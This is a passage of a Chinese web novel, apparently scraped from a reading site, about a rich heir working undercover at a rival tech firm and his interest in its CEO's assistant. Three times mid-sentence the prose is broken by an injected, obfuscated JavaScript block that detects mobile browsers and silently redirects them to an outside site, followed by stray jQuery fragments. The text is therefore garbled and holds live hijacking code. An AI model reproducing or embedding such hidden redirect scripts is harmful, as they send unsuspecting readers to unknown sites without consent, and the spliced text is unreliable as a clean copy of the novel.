就在这时,玻璃门外闪过一道熟悉的身影——秦雨寺身穿一件黑色高领毛衣,下搭简约的直筒裙,手里端着咖啡杯,步态优雅地走进了茶水间。
这次,陈柯杨没再犹豫,直接拿着保温杯,快步跟了上去。
“Daria,早上好。”
“早。”
秦雨寺听见他的声音,抬起那双令无数人心动的美丽眼眸,慵懒地回应了一声。她昨晚显然没睡好,尽管妆容比平时厚重,还是掩不住眉眼间的倦意。
“你腿上的伤怎么样了?”
“已经没有大碍了,谢谢你的关心。”
醒酒后的秦小姐一开口就冷风扑面,仿佛要把人吹去她老家的西伯利亚大森林。
不过陈柯杨火力旺盛,偏就不惧严寒,依旧笑呵呵地问:“姐姐是怎么过来的?早高峰的车不好打吧。”
秦雨寺眼皮一抬,黑白分明的眸子里写满了无语。
是啊,她一觉醒来发现车钥匙不见了,早高峰的出租车又难叫,只好挤了六站公交,顺带还拒绝了两男一女的搭讪。
陈柯杨将车钥匙还给她,解释道:“昨晚咱俩都喝了酒,沈总非让我开车送你回家,但我理智尚存,没干这种违法的事。”
秦雨寺只是淡淡点了下头,显然不想跟他多费口舌。
陈柯杨撇了撇嘴,觉得有些兴致索然,但在办公室里,他也不便和老板的女人过多纠缠,只能转身saybyebye了。
“稍等一下。”
“嗯?”
“昨晚是你一个人送我回去的吗?”秦雨寺眉头轻蹙,语气里带着一丝犹豫。
“是啊,怎么了?”
陈柯杨嘴角一抖,心中警铃大作:这女人不会是在试探我吧?昨晚她虽然醉了,但醉到哪种程度可不好说,指不定要诬陷我趁人之危呢。
谁料下一秒,秦雨寺竟开口道:“中午有安排吗?我请你吃顿饭吧。”
这……怎么不按套路出牌。
陈柯杨没想到冷美人会主动发起邀约,下意识就答应了:“好啊,我们吃什么?”
“食堂吧。”她回答得干脆利落。
“......”
那一瞬间,陈柯杨想要骂爹的心情达到了顶峰,今天左右是逃不过这破食堂了,你丫真够抠门的!
*
中午十二点一刻,两人相约来到合光科技的食堂,但并不是昨天的员工食堂,而是位于顶楼的高管餐厅。
秦雨寺常年负责招待客户,手里握着一沓子餐厅专用磁卡,简直是特权中的特权。
为了满足高管和贵客们对美食的的多样化需求,整间餐厅被精心划分成多个区域,每处工作台都配有不同菜系的主厨展示“十八般武艺”。
有人在灶台边挥勺如飞,有人在案板上展示花样刀工,还有人专注于精心摆盘。好不好吃暂且不论,活儿倒是整得相当精彩。
再瞧一眼每道菜品旁边的价牌,瞬间顿悟了,原来禁止普通员工上来吃饭,是为了保护大家的自尊心啊。
“你想吃什么随便点,我请客。”秦雨寺态度相当大方。
陈柯杨不忍辜负她的好意。转了一圈后,给自己点了一份惠灵顿牛排、一份法国鹅肝、一份鲟鱼子酱。要不是在公司餐厅,真想点瓶红酒,熏个香,摆个烛台啥的。
秦雨寺很快也回到了餐桌,她只点了一小份蔬菜沙拉和一瓶气泡水。
“姐姐,我点的好像有点贵,没关系吧?”
陈柯杨故作可怜地说:“不好意思哦,我家里穷,没见过这么多好吃的,闻到香味实在忍不住了。”
秦雨淡淡地回了句:“没关系。”
“那你请我吃饭,能找公司报销吗?”
“不能。”良好的教养让秦雨寺忍住了翻白眼的冲动。
他又试探着问:“是不是因为我点得太贵,所以你才只吃一盘沙拉?要不我把牛排分你一点?”
“你的话有点多。”秦雨寺慢条斯理地将一片菜叶送入口中,再抬眸时,眉心已经拧成了一团。
“嘿嘿,我太激动了,你别见怪。”
陈柯杨挖了两勺鱼子酱,又忍不住问:“沈总不是说今天上午要参加论坛吗?你怎么没去?”
“我不是受伤了?”秦雨寺理所当然地回答:“沈总又不是只有我一个助理。”
陈柯杨想起来,昨天入职的时候确实见过一个叫洛清源的姑娘,她是沈让的二助。
秦雨寺不动声色地勾了下嘴角:“我得给年轻人留点机会,让他们出去见世面、交朋友,多个朋友多条路嘛。”
她竟然把昨晚的对话记得这么清楚,还特意拿出来调侃,陈柯杨真要怀疑她是不是真的醉了。
“你有问题吗?”秦雨寺挑了挑眉。
陈柯杨脑海中浮现出洛清源那一头风情的大波浪,娇艳的红唇,以及若隐若现的su胸,忍不住感慨:“她看起来可不像什么年轻人,至少不是我这种青葱的年轻人。”
他就差没直说洛清源像个交际花了。
“人家才刚大学毕业,比你还小两岁呢。再说了,人不可貌相,她能留在沈总身边工作,自然有她的过人之处。”
陈柯杨暗暗琢磨:二十二岁,正是任何男人都无法抵抗的青春年纪,而且她又是那种与秦雨寺截然不同的风情美人,被沈让选中简直太正常的。
想到这里,他突然压低嗓音,贱兮兮地问:“Emily一整天都陪在沈总身边,你就不吃醋吗?”
秦雨寺眉头一凛,语气严肃起来:“我建议你把精力放在工作上,少打听那些没来由的八卦,我和沈总不是......”
“HelloDaria,好久不见啊。”
这时候,一道略显尖锐的声音横插进来,打断了秦雨寺的话。
两人同时转头,看见一个身穿白色真丝衬衫配紧身包臀裙,扎着高马尾,五官明艳的女人朝他们走来。她长得很美,但脸上的表情说不清是讥讽还是鄙夷,让人感觉很不舒服。
“Bella.”
见到这个女人,秦雨寺的脸色也好不到哪儿去。
“哟,咱们公司什么时候又添了位高管?我怎么没收到通知邮件呢?”
她没有征询任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363433|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何人的意见,自顾自地拉开秦雨寺旁边的椅子,同时用玩味的眼光将陈柯杨从头到脚打量了一遍。
察觉对方来者不善,陈柯杨特意瞄了眼她胸口的工牌。
【市场部副经理俞初桐】
“总经办的新同事。”秦雨寺眼皮都没抬,冷冰冰地回答了她。
“新交往的小男友吗?长得倒是挺帅,家里做什么的?有几套房几辆车?”那女人笑着打趣道。
陈柯杨马上装出一副自尊心受挫的模样:“我和Daria是清清白白的同事关系!还有,虽然我现在没房没车,但只要努力打拼,这些迟早都会有的。”
“啧,说你两句还急了,现在这个社会,靠自己奋斗,猴年马月才能出头啊?不如让Daria帮你介绍个富婆,她最擅长干这个了。”
秦雨寺的脸色愈发阴沉:“你很没有礼貌。”
“呦,还护上了。”
女人瞥了眼陈柯杨面前的丰盛大餐,觉得十分好笑:“你不是一向喜欢有钱的老男人吗?怎么突然换口味了?鲜肉虽然好吃,也得看自己有没有本事消化。”
秦雨寺放下手中的刀叉,素来平静的眼波因愤怒泛起了层层波澜。
Bella丝毫不在意她的情绪,甚至拿起她面前的气泡水,悠哉地喝了一口:“别用这种眼神看我,这世上除了我,还有谁真正关心你?”
“你当初费尽心思才勾引到沈让,不会以为现在关系稳定了,就可以为所欲为了吧?人啊,最怕的就是贪心不足。”
“请你先管好你自己,我的事用不着你操心。”
“不用我管?!”Bella眼睛瞪得滚圆,语气愈发尖锐。
“你别不识好歹。要不是我们俞家收留了你,你现在还在西伯利亚捡破烂呢。怎么?翅膀硬了,想造反了?”
“沈让这种男人,想要什么样的女人得不到?不过是看你有几分姿色,随便玩玩罢了。真搞不懂老妈为什么要押宝你这个白眼狼。呵,换我都比你更适合做合光科技的老板娘。”
听她越说越过分,秦雨寺的语气明显冷硬了许多:“已经说过很多次了,我和沈让不是那种关系,请你不要以己度人。”
“靠,你跟我装什么天山雪莲?当了婊/子还要立牌坊,真恶心。要不是让沈总玩/爽/了,你丫早被丢回西伯利亚挖土豆了。”
“你......无耻!”
此时此刻,陈柯杨无比质疑秦雨寺的中文水平,脸都被人打肿了,竟然只憋出一句“无耻”?不该是一顿祖安输出,再送上两记大耳瓜子吗?
他眼珠子一转,突然心生一计。
先是拿叉子蘸了层红油,接着小心放在桌沿,调整好角度后,用手指用力一弹。叉子“嗖”地一下飞出去,不偏不倚落在Bella的白色衬衫上,溅出一团夸张的油渍。
“啊——你有病吧!”Bella一声惊叫,差点从椅子上跳起来。
陈柯杨嬉皮笑脸道:“真不好意思,我刚才听八卦太入神,手滑了。”
“你个白痴是故意的吧!”
Bella看着胸口的一大摊污渍,情绪更加激动了:“你俩不会真有一腿吧?秦雨寺你疯了吗?不怕沈让把你宰了?”
“大姐,你别冤枉我,我就是个看热闹的。”
陈柯杨笑容不减,继续道:“我是沈老板的忠实粉丝,第一次吃到这么大的瓜,实在太激动了,忍不住录下来,好回去多品味几遍。”
他边说边拿出手机,按下播放键。
手机里立刻传出清晰的人声——
要不是让沈总玩/爽/了,你丫早被丢回西伯利亚挖土豆了......
Bella的脸瞬间绿了:“你怎么这么无耻?竟然敢录老娘的音!”
11. 继承人
Bella意识到形势不妙,马上伸出手去抢陈柯杨的手机。
好在陈柯杨早有防备,迅速抬起手臂,挡住了她的攻击:“打住打住,我才刚出校门,不想跟你这种上了岁数的成熟女性纠缠,请你自重。”
Bella气得头发丝儿都竖起来了:“你特么赶紧把录音给删了!”
陈柯杨一把将手机塞进外套内侧的口袋里,欠欠地说:“删了我不就白录了?”
“我们姐妹俩吵架关你屁事?你掺和个什么劲儿啊?”
陈柯杨没想到俩人还有这层关系,转头朝秦雨寺投去求证的目光。
“秦雨寺,快让这小子把录音删了,事情闹大对咱们都没好处。”Bella冲着秦雨寺一顿吹胡子瞪眼,急得像动物园里抢食的吗喽。
秦雨寺叹了口气,脸上的恼火全都化作了无奈:“Chris,把录音删了吧。”
陈柯杨震怒——靠!有没有搞错,老子在帮你出头,你能不能有点骨气啊!
不过气归气,他本来也没想玩得太过火,索性顺水推舟,摆出一副‘大人不记小人过’的态度:“要删也行,但你至少得向Daria道个歉吧。”
Bella觉得这个要求简直无理至极:“道歉?开玩笑吧,知不知道我是她什么人?”
“我管你是什么人,不道歉是吧?那我现在就把俞经理的精彩言论公放给同事们听听。”
说着,他掏出手机,音量调到最大,指尖悬在播放键上。
“你……你不要逼人太甚!”
“请你道歉!”
Bella嘴唇抖了几下,终于咬牙切齿地挤出一句:“对不起......”
“跟我说什么对不起,你对不起的是Daria。”
Bella愤愤地转头瞪着秦雨寺,几乎是从牙缝里挤出来一句“对不起”。
瞧她这副吃瘪的模样,陈柯杨终于心满意足地笑了:“姐姐,你愿意原谅她吗?”
秦雨寺眼中略过一丝深深的疲倦:“好吧,我原谅她了。”
陈柯杨抱着胳膊,牛气哄哄地说:“呵,Daria心地善良,算你走了狗屎运。”
Bella的耐心已经到了极限:“你特么少废话,赶紧删录音!”
“行吧行吧。”陈柯杨被缠得没脾气,当着她的面按下了屏幕上的删除键。
Bella终于松了口气,但脸上的怒意丝毫未减,指着陈柯杨的鼻子恶狠狠地撂话:“别让我再看见你!”
陈柯杨一点不给她面子:“嘻嘻,可惜咱们在同一层楼上班,抬头不见低头见,要不你辞职吧?”
秦雨在旁边淡淡补刀:“或者你去说服沈老板,把我们两个一起开除。”
“你们给我走着瞧!”Bella恶狠狠地踹了一脚凳子,在周围人诧异的目光中抓起包包,怒气冲冲地走了。
摆脱这个疯婆娘,陈柯杨也不由得松了口气,转头问秦雨寺:“这精神病真是你姐啊?”
秦雨寺懒懒地瞥了他一眼,反问道:“你看我们俩长得像吗?”
仔细想来,两张脸确实没什么相似之处。如果那女人真有几分“莞莞类卿”,他恐怕就不敢这么大胆地戏弄她了。
秦雨寺轻描淡写地解释:“她是我继母的女儿,只能算名义上的姐姐。”
“怪不得,我说她怎么跟小说里的恶毒女配似的。”陈柯杨深有感触,果然艺术源于生活,但未必高于生活。
“嗯,她是我的对照组。”秦雨寺不禁莞尔。
陈柯杨一本正经地分析:“根据我读万卷书总结出来的经验,主角以外全员恶人,所以你后妈肯定也不是什么善茬。”
秦雨寺被他逗乐了,先是认同地点了点头,随即又弯着眼睛摇了摇头:“每个人身上都有很多面,不能单纯地用好人或坏人来定义。”
陈柯杨不以为然:“我可没发现那个俞经理身上有什么优点。”
“你才认识她几分钟啊?”
“OK,你认识得久,你发现了吗?”
“没有。”
“......”
陈柯杨蹙着眉头,仍有些不解:“真搞不懂,那女的还是个经理呢,怎么说话如此尖酸刻薄,她到底想干什么啊?”
“为了PUA我吧。”
秦雨寺拿起叉子继续吃盘子里的蔬菜,顺便不忘把Bella喝过的气泡水推远了些。
“你脾气可真好,换是我,肯定天天在沈总耳边吹风,让她在公司混不下去。”
秦雨寺抬起明亮的眼睛,嘴角勾起一抹玩味的笑:“说不定哪天她真成了老板娘呢。”
陈柯杨捧场道:“论性格长相,她可不如你。”
秦雨寺摇了摇头,没有接话。
陈柯杨又开始瞎琢磨:沈让虽然36岁未婚,但身边从来不缺莺莺燕燕。秦雨寺想要上位,必须练就一颗强大的包容心,这是普通女人在漫漫豪门路上不可避免的修行。
至于沈让这种富豪,肯定自信满满,认为身边的女人绝不可能背叛他。
陈柯杨脑子里突然冒出一个很邪恶的想法——干脆用糖衣炮弹把秦雨寺拐成自己的女人,让高傲的沈总也尝尝被人扣绿帽子的滋味。
“想什么呢?”秦雨寺已经放下叉子,正在用纸巾擦拭未沾半点油星的嘴唇。
陈柯杨回过神来,随口应道:“我在想,今天让你破费了,明天换我请客吧。”
怕她有心理负担,他又补充一句:“我之前做兼职攒了点钱,压力不大。”
“这周恐怕不行了,沈总要去琼海参加国际创业论坛,顺便拜访那边的客户,我和Emily都要跟过去。”
陈柯杨微微一愣,随即表示理解:“这样啊,那真是遗憾。不过工作要紧,祝你一切顺利。”
陈柯杨目前的工作仅限于打杂,自然没资格参加这种高规格的论坛,但他也不想留在办公室浪费时间,正巧Dylan发来消息,说润池集团有些紧急事务需要他亲自处理,他便找了个借口,向公司请了一周假。
*
第二天,陈柯杨早早赶到润池总部,和几位核心同事开了个紧急会议。会还没结束,他父亲陈正霖的电话就打了进来,让他立刻去一趟泓德医院。
陈柯杨心里咯噔一下。
泓德医院是林淮市最顶级的私立神经专科医院,VIP病房的奢华程度不亚于五星级酒店,不仅配备了顶尖的医疗设备,还有二十四小时待命的专业医护团队。
套房外间,陈正霖身着黑色西装,坐在宽大的皮质沙发上。不同于平日里的威严形象,此刻的他双目无神、眼圈深陷,看起来格外憔悴。
陈柯杨站在门口打了声招呼:“爸,我来了。”
陈正霖的情绪瞬间被点燃,怒声斥责道:“你还知道回来!你心里到底有没有这个家!”话还没说完,就因情绪激动咳嗽起来。
站在一旁的秘书赶忙上前,柔声劝慰:“二公子才回国几天,还要抓紧时间熟悉集团业务,不可能总守在医院里啊。”
陈正霖狠狠瞪了儿子一眼:“熟悉集团业务?我从来没在公司见过他的人影!”
陈柯杨懒得跟病怏怏的老头置气,直接问道:“我哥怎么样了?”
陈正霖眼眶微红,倔强地把头别向一边。
秘书只能代为回答:“大公子这次癫痫发作得特别严重,血压一下子就飙上去了,把我们吓得够呛,好在抢救及时,已经脱离危险了,你不用太担心。”
陈柯杨点了点头:“我进去看看他。”
病房里静得出奇,只有仪器的嘀嗒声在缓慢回荡。
病床上躺着一个脸色苍白的男人,眉峰硬朗,五官深邃,即使脸上毫无血色,依然十分英俊。可惜半年前的一场车祸,将他最好的年华封印在了这具沉寂的躯壳里。
润池集团长公子陈柯煜,是陈正霖与青梅竹马的原配所生,天生聪颖,性格沉稳,读书一流,自小就被父亲视若珍宝,倾尽心力培养。后来他母亲因病去世,陈正霖与著名小提琴家池亭川再婚,在四十五岁那年有了小儿子陈柯杨。
陈柯杨聪明机灵,又是“老来子”,按理说应该备受宠爱才对。但事实上,陈正霖的一颗心全扑在了大儿子身上,对小儿子的关怀十分有限。
再后来,陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363434|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正霖和池亭川出现了感情危机,池亭川提出分居,并要求带着孩子去美国生活。陈正霖没有做出任何挽留,仿佛在他的世界里,有一个儿子就够了。
陈柯杨知道哥哥是难得的商业奇才,非但不嫉妒,反而有些庆幸——自己账户里有几辈子挥霍不完的钱,何必累死累活继承家业?当个逍遥公子不香吗?
可惜天妒英才。半个月前,陈柯煜前往邻省考察项目,乘坐的商务车突然刹车失灵,撞上了高架桥的防护栏,脊柱重创,经过一天一夜的抢救,最终还是成了植物人。陈正霖得知噩耗后如遭雷击,一夜之间鬓发斑白,差点先儿子一步去了。
陈柯煜车祸重伤,陈正霖又身患癌症,如何稳住集团成了迫在眉睫的大事。陈正霖别无他法,只好让小儿子从美国回来接班。
实在是无奈之举啊。
陈柯杨在病床前沉默良久,最终还是叹了口气:“你这家伙,三年前去美国看我的时候还一幅意气风发的模样,怎么突然变成这样了?我可不想替你挑这么重的担子。”
从病房出来后,陈正霖支开身边的人,把陈柯杨单独留在客厅里。
“集团的事务熟悉的怎么样了?怎么最近都见不着你的人影?”他边咳边问。
陈柯杨斜倚着沙发扶手,漫不经心道:“既然你有求于我,是不是该按我的步调来?”
“咳咳,你以为我愿意管你?”
陈正霖气得眉毛都在抖:“以我现在的身体状况,还能有多少时间陪你慢慢成长?”
陈柯杨听了,不恼反笑:“如果你在十年前就有防患未然的觉悟,说不定我早就是个合格的继承人了,但你为什么不呢?是看不起我,还是太爱你的大儿子了?”
他顿了顿,又换上一副轻松的口吻:“不过也别太悲观,我外公患癌还活到了八十六呢,您吉人自有天相,再奋斗二十年不成问题。”
陈柯杨今天主打一个气死人不偿命,陈正霖自知理亏,只能咬牙忍受:“我知道你在国外创业很成功,但润池集团是几代陈家人的心血,我不能眼睁睁看着它后继无人。”
陈柯杨挑眉问:“如果我在这个时间点回润池任职,您觉得安全吗?”
“你......”
陈正霖脸色微妙,缓了半天才问:“你也觉得柯煜的车祸很蹊跷,对不对?”
陈柯杨冷静道:“家里的车都会定期送去保养,司机也会每天进行安全检查。我不相信这么小概率的事故,偏偏就发生在他任职副总之前。”
陈正霖点了点头,语气低沉:“相关的证据我们还在搜集,但目前没有太大进展。”
陈柯杨眼底略过一道凛冽的光:“不管是谁,胆敢触碰我的底线,一定会让他付出惨痛的代价。”
陈正霖突然谨慎起来:“这些年你一直在国外生活,国内关于你的信息不多,目前看应该还算安全。我会安排几位信得过高管和你私下对接,记住,最近行事千万别太张扬。”
陈柯杨很想翻白眼——呵呵,无语,张扬的不是你们?我一直都很低调的好不好?
刚离开医院,Dylan的电话马上打了进来:“Chris,大公子那边的情况怎么样了?”
“抢救过来了,暂时没事。”
Dylan不便对老板的家事发表太多看法,直接切入正题:“你对琼海的创业论坛感兴趣吗?我们的投资团队之前接触过几个初创项目,感觉潜力不错,可以趁这个机会深入聊聊。”
他所说的正是沈让等人去参加的那个论坛,据说今年的规模比往年更大,还邀请了不少海外创业者来国内寻求商机。陈柯杨其实挺感兴趣,但刚刚被陈正霖警告要低调行事......
Dylan深知他的处境,主动保证道:“放心,你只需要跟我们同行,所有沟通事宜由我们代为传达,绝对不会暴露你的身份。
陈柯杨这才放心地答应下来。
“OK,行程我来安排,给你订明天一早的机票,别睡过头!”
“知道了,啰嗦。”
挂断电话后,陈柯杨脑子里突然冒出一个念头:他是不是可以提前几天见到那个小毛妹了?
12. 新情报
琼海市位于南部的海岛之上,即便是在十一月的深秋时节,大部分城市早已寒风肆虐,这里依然阳光明媚,绿意盎然,处处散发着夏日的慵懒气息。
润池集团本次的行程紧凑而繁重。市场总监要准备分论坛的主题演讲;投资部要筛选和评估新项目;业务负责人也排满了与客户的会议日程,只有陈柯杨抱着半工作半度假的心态,整个人轻松又惬意。
为了避免碰见合光科技的熟人,陈柯杨和Dylan没住会场安排的商务宾馆,而是选择了市中心的五星级酒店。
公务车里,陈柯杨喝了口汽水,漫不经心地问:“Dylan,公司最近有什么新情况吗?”
“工作上的事,我不是每天都向你汇报?”
陈柯杨摇了摇头,提醒道:“我指的是,除了工作之外,我爸和董事会那边有没有什么风吹草动?”
Dylan认真思考了片刻:“确实有一件,而且还和你有关。”
陈柯杨眉毛一挑:“哦?说来听听。”
“董事长最近在操心你的终身大事。”
“我靠?!”
陈柯杨差点被汽水呛到:“都什么年代了,还搞包办婚姻这一套?”
“你先别激动啊。”
Dylan抽了张纸巾递过去:“这有什么奇怪的,大公子二十岁那会儿就有好几个未婚妻人选了。你现在是润池集团唯一的继承人,身家几百亿,董事长当然希望你找个门当户对的女人成家了。”
陈柯杨撇了撇嘴:“老头这么能张罗,他那宝贝大儿子都奔四了,怎么还没娶上媳妇儿?”
Dylan和陈柯杨是发小,关系非比寻常,说话向来没什么顾忌:“大公子要是结婚生子,损失最大的可是你,别说你对那几百亿的家产一点兴趣都没有。”
陈柯杨双臂抱胸,靠在椅背上,压根懒得接这个话茬。
“家族联姻其实没那么糟糕,董事长毕竟是你亲爸,他安排肯定也是你喜欢的。”
陈柯杨翻了个白眼:“他知道我喜欢什么样的?连我自己都不知道呢。”
Dylan眼睛一亮:“你还记不记得穆心婉?上中学那会儿你不是还追过她吗?”
“哦,她呀——”
提起这个名字,陈柯杨脑海中浮现出几幅久远的画面。
他初中就读在一所私立中学的国际部,班里同学各个家世显赫,自幼接受全方位的精英教育,而穆心婉就是其中最亮眼的一个——她不仅长相甜美,身材高挑,还精通钢琴、小提琴等一堆乐器,是无数青春期少年心中的完美女神。
陈柯杨真不记得自己追过穆心婉,但这么优秀的女孩,肯定在当时给他留下过不错的印象。
不过,毕竟都是八、九年前的旧事了。他出国后的生活精彩且忙碌,对这位“白月光”实在没什么太深的印象,只依稀记得她长得很漂亮。
思绪飘忽间,他突然想起了那个俄罗斯女人,两张面孔在脑海中重叠对比,竟让他觉得,穆心婉现在已经达不到他心中“很漂亮”的标准了。
“穆家这几年生意做得不错,市场估值也有几十个亿。穆心婉从德国留学回来后一直在自家公司任职,据说能力非常出众,未来接管家族生意也不是没可能。”
陈柯杨不由感慨:“想不到啊,印象里她还是个喜欢弹琴唱曲的文艺女青年呢,一转眼都蜕变成商界女强人了。”
“心动了吧?要不给你俩安排个机会重温旧梦?”
陈柯杨轻笑一声:“可惜了,这么有上进心的女人怎么可能看上我?我的人生只配守着百亿家产,当个无所事事的富贵闲人。”
Dylan知道自家老板喜欢满嘴跑火车,也懒得继续跟他掰扯了:“我预约了酒店的SPA,这段时间你也辛苦了,好好放松一下吧。”
陈柯杨伸了个大大的懒腰。
这几天窝在合光科技逼仄的小办公室里,确实憋得够呛,是该好好补偿一下自己了。
Dylan这次安排的是琼海最顶级的五星级酒店,其泰式SPA堪称无数高端客户趋之若鹜的招牌服务。
作为VVIP客户的专属特权,这间SPA会馆占地足有几千平米,同时接纳的客人不超过十位,整片区域被屏风隔成了数个独立的私密空间,以确保每位贵宾都能享受到极致的服务。
陈柯杨躺在特制的按摩床上,鼻间萦绕着淡淡的熏香,耳畔是潺潺水声与轻柔禅音,仿佛置身于远离尘嚣的仙境之中。
最近家里家外变故频仍,他虽然嘴上不愿承认,内心却不免有些积郁,今天得益于技师娴熟的手法,一身疲惫渐渐消散,竟难得睡了个好觉。
光凭这一点,Dylan今年的年终奖就稳了。
服务结束后,陈柯杨神清气爽地来到休闲区,一边喝着椰汁,一边随手翻看架子上的时尚杂志。就在这时,一道不甚清爽的声音钻进了他的耳朵。
他心头一紧,忍不住低声咒骂:“我靠,不会这么巧吧!”
“怎么了?撞鬼了?”Dylan见他神色有异,好奇地问道。
陈柯杨做了一个噤声的手势,又扬了扬下巴,示意身后的屏风。两人悄悄凑近,透过屏风的缝隙向内望去,果然看见沈让和三个大腹便便的中年男人围坐在一起,显然也是刚刚结束了疗养项目。
其中一个秃头男故作殷勤道:“沈总,您怎么这么快就出来了?不是给您安排了特殊项目吗?”
他以为四下无人,说起话来毫无毫忌:“是觉得那两个姑娘不够漂亮吗?要不我再给您安排几个?”
他似乎想起了什么,又试探道:“要不......换成洋妞?”
沈让喝了口冰啤酒,笑着摇头:“你们还是不了解我,我这人没有吃快餐的习惯。”
“哦——”几人会心地笑了起来。
“沈老板有秦助理这样的绝色佳人相伴,怎么可能看得上那些庸脂俗粉?”
沈让只是淡淡一笑,不置可否。
其中一人放下酒杯,不经意地问:“话说,秦小姐也跟了您好些年了吧?”
沈让若有所思地抬起头:“是啊,从她高中毕业到现在,都快八年了。”
“沈总,您可真长情。”
秃头竖起大拇指,由衷感到佩服。他是个富二代,也是花丛老手,自认为再漂亮的妞也不可能从头到尾玩上八年。
另一个满脸痤疮的男人感慨道:“不过Daria真是极品,那个腿,那个腰,那个脸蛋,我开模特公司都没碰到过这么顶的洋妞。都说毛子老得快,她有26了吧,还是嫩得能掐出水来。”
“呵呵,要不怎么说沈总眼光好呢,秦小姐天生一副媚骨,把男人吃得死死的。沈老板整天沉迷温柔乡,哪还有心思去看那些花红柳绿。”
沈让忍不住出声打断:“你们这些人啊,满脑子都是男女间的那点事,能不能有点出息?”
尽管他话语中带着几分不耐,脸上却掩不住一丝得意,仿佛占有秦雨寺这样的女人,是一个男人莫大的荣耀。
秦雨寺作为总助,经常跟随沈让出席各种商务场合,圈子里的男人基本都认识她,暗地垂涎的也不在少数,只不过没人敢挖沈让的墙脚罢了。
当然,“上流人士”自有一套价值体系,秦雨寺再美,充其量不过是个情妇,调侃起来也毫无顾忌。
没想到在座有个不懂事的,张口冒出一句:“沈总,秦助
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363435|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理哪哪都好,你干脆娶她算了,生几个漂亮的混血娃娃,叫人羡慕死了。”
“哈哈哈——”
沈让被他弄得有点尴尬:“这种事急什么?人生短短几十年,享受自由不是更好?”
秃子实话实说:“可惜了,要是几年前Daria后妈家还有点势力的时候,真能考虑考虑,不过现在嘛,就是纯纯的血包了。”
他话锋一转,突然劝沈让道:“您这个年纪,要是真喜欢她,不如先要个孩子。”
沈让若有所思地抿了口啤酒,缓缓说道:“确实可以考虑。”
此时此刻,屏风后的陈柯杨已经攥紧了拳头,就连完全置身事外的Dylan也变了脸色。两人对视一眼,心照不宣地起身,悄悄离开了休息大厅。
一出门,Dylan再也按捺不住,愤然咒骂起来:“他爹的,沈让这孙子真会装*,还说什么‘我不吃快餐~’,圈子里谁不知道他私生活多乱套,睡过的女人三位数都不止,现在还想让小姑娘给他未婚生子,真够不要脸的。”
“他不是对那个俄罗斯女人情有独钟吗?怎么还跟别的女人乱搞?”陈柯杨满脸困惑。
“这个嘛......”
Dylan先是一愣,随即无奈地苦笑:“兄弟,我没有嘲讽你的意思,不过像你这么纯情的男人,地球上真找不到第二个了。情和欲本来是两码事,又不是非得爱的死去活来才能/上/床。”
陈柯杨震惊不已:“我靠,那跟畜生有什么区别,我理解不了。”
他一直以为沈让被那个外国妞勾引,移情别恋,才会做出抛妻弃子的勾当,没想到这狗东西从根子里就烂透了。
Dylan不明就里,但还是体贴地拍了拍他的肩膀:“OK,我知道你在为将来的真命天女守身如玉,祝你好运。”
陈柯杨眉头拧得更紧了,沉默片刻,忽然问道:“之前你帮我整理过一份秦雨寺的资料,还有印象吗?”
Dylan点了点头:“记得,不过她的信息并不多。”
他稍作回忆,缓缓说道:“她在俄罗斯出生长大,十几岁才回国投奔亲爸和继母,应该吃了不少苦头。后来在机缘巧合下认识了沈让,得到不少经济资助,从大学一直到现在,就像你听到的那些八卦一样。总之,她就像一支美丽却带刺的玫瑰,总是被卷入舆论漩涡的中心。”
陈柯杨消化完这段信息后,再次吩咐道:“她父亲和继母的背景,也帮我调查一下。”
Dylan微微一愣,忍不住多看他一眼:“我知道你现在和沈让是竞争关系,但......这跟他的助理有什么关系?你不会是对那个女人感兴趣吧?”
陈柯杨语气有点不耐烦:“没有,怎么可能?”
连他自己都搞不清楚,沈让这个“渣男”对秦雨寺这个“小三”心怀鬼胎,他应该拍手称快才对,可为什么此刻内心惶惶不安,像有无数只蚂蚁在啃噬。
Dylan的神色严肃了几分:“首先声明,我没有瞧不起Daria的意思,但她和你完全是两个世界的人。环境塑造性格,人性经不起考验,以你现在的身份地位,更不应该去招惹麻烦。”
他顿了顿,又补充道:“如果你春心萌动了,我现在就把穆心婉的微信推给你。”
“STOP!”
陈柯杨做了个打住的手势,脸色沉得吓人:“董事长都不会用这种口吻跟我说话,你越界了Dylan。”
Dylan愣了下,立刻低头道歉:“抱歉,小陈总。”
“给你一个将功补过的机会。”
陈柯杨板着脸,双手插兜,毫不客气地吩咐:“去查查沈让和秦雨寺今晚都住在哪个房间。”
13. 露本性
琼海是块风水宝地,空气中飘荡着大海的清新气息,仿佛吸上一口就能净化心灵。然而此刻,宝雅酒店总统套房里却弥漫着令人窒息的火药味。
沈让身上披着浴袍,手里攥着一份文件,正在冲总经办新来的翻译Abby发火。
